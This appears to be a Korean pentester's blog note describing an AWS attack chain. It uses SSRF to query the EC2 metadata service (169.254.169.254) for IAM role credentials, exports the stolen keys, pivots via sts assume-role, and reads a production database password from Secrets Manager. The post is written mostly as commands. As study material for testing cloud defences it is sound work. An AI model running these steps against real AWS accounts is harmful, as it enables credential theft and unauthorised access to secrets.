의미없는 블로그

AWS Secret Manager 본문

# 나/pentest

AWS Secret Manager

SaltLee 2026. 9. 8. 16:29

 

AWS EC2 내부에서는 169.254.169.254 라는 특수 IP(IMDS)를 통해 해당 EC2의 메타데이터를 조회할 수 있다

그래서 EC2에 띄워진 웹에서 SSRF 취약점 존재하면 169.254.169.254로 서버 정보 조회할 수 있다

  • curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 하면 해당 EC2에 연결되어 있는 IAM Role 이름이 출력 된다 (ex. my-ec2-application-role)
  • curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/my-ec2-application-role 이름을 한번 더 붙여서 호출하면 임시 자격증명(AccessKeyId, SecreAccessKey, Token)이 출력 된다

임시 자격증명을 자기의 PC에 환경변수로 등록하면 AWS가 공격자를 정상적인 EC2 인스턴스로 인지하게 된다

  • export AWS_ACCESS_KEY_ID="ASIA..."
  • export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG..."
  • export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2Vj..."
  • export AWS_DEFAULT_REGION="ap-northeast-2" # 대상 리전

그 다음에 aws sts assume-role 명령어를 실행하면 다른 Role을 위임받을 수 있다

(이건 위에서 얻은 임시 자격증명에서 sts:AssumeRole 권한이 허용되어 있었기 때문에 가능한 일이다)

  • aws sts assume-role --role-arn "arn:aws:iam::123456789012:role/SecretsManager-Admin-Role" --role-session-name "PivotingSession"
  • 123456789012 계정에 있는 SecretsManager-Admin-Role 이라는 역할의 권한을 빌려 쓰겠다
  • 단 이 세션의 식별 이름은 PivotingSession 으로 지정한다
  • 이렇게 날리고 나면 2차 임시 자격증명(AccessKeyId, SecreAccessKey, Token)이 출력된다
  • 그러면 이걸 또 환경변수에 바꿔서 쓰면 된다

2차 임시자격증명을 가지고 Secret Manager 내용을 조회한다

  • aws secretsmanager get-secret-value --secret-id "prod/db/password"

'# 나 > pentest' 카테고리의 다른 글

H2 DB  (0) 2026.09.08
braze 라는 마케팅 도구  (0) 2026.05.13
Access Token 이랑 Refresh Token  (0) 2026.04.06
S3 에서의 파일 업로드 / 다운로드 취약점  (0) 2026.03.05
PACU - AWS bruteforcing  (0) 2026.02.26
Comments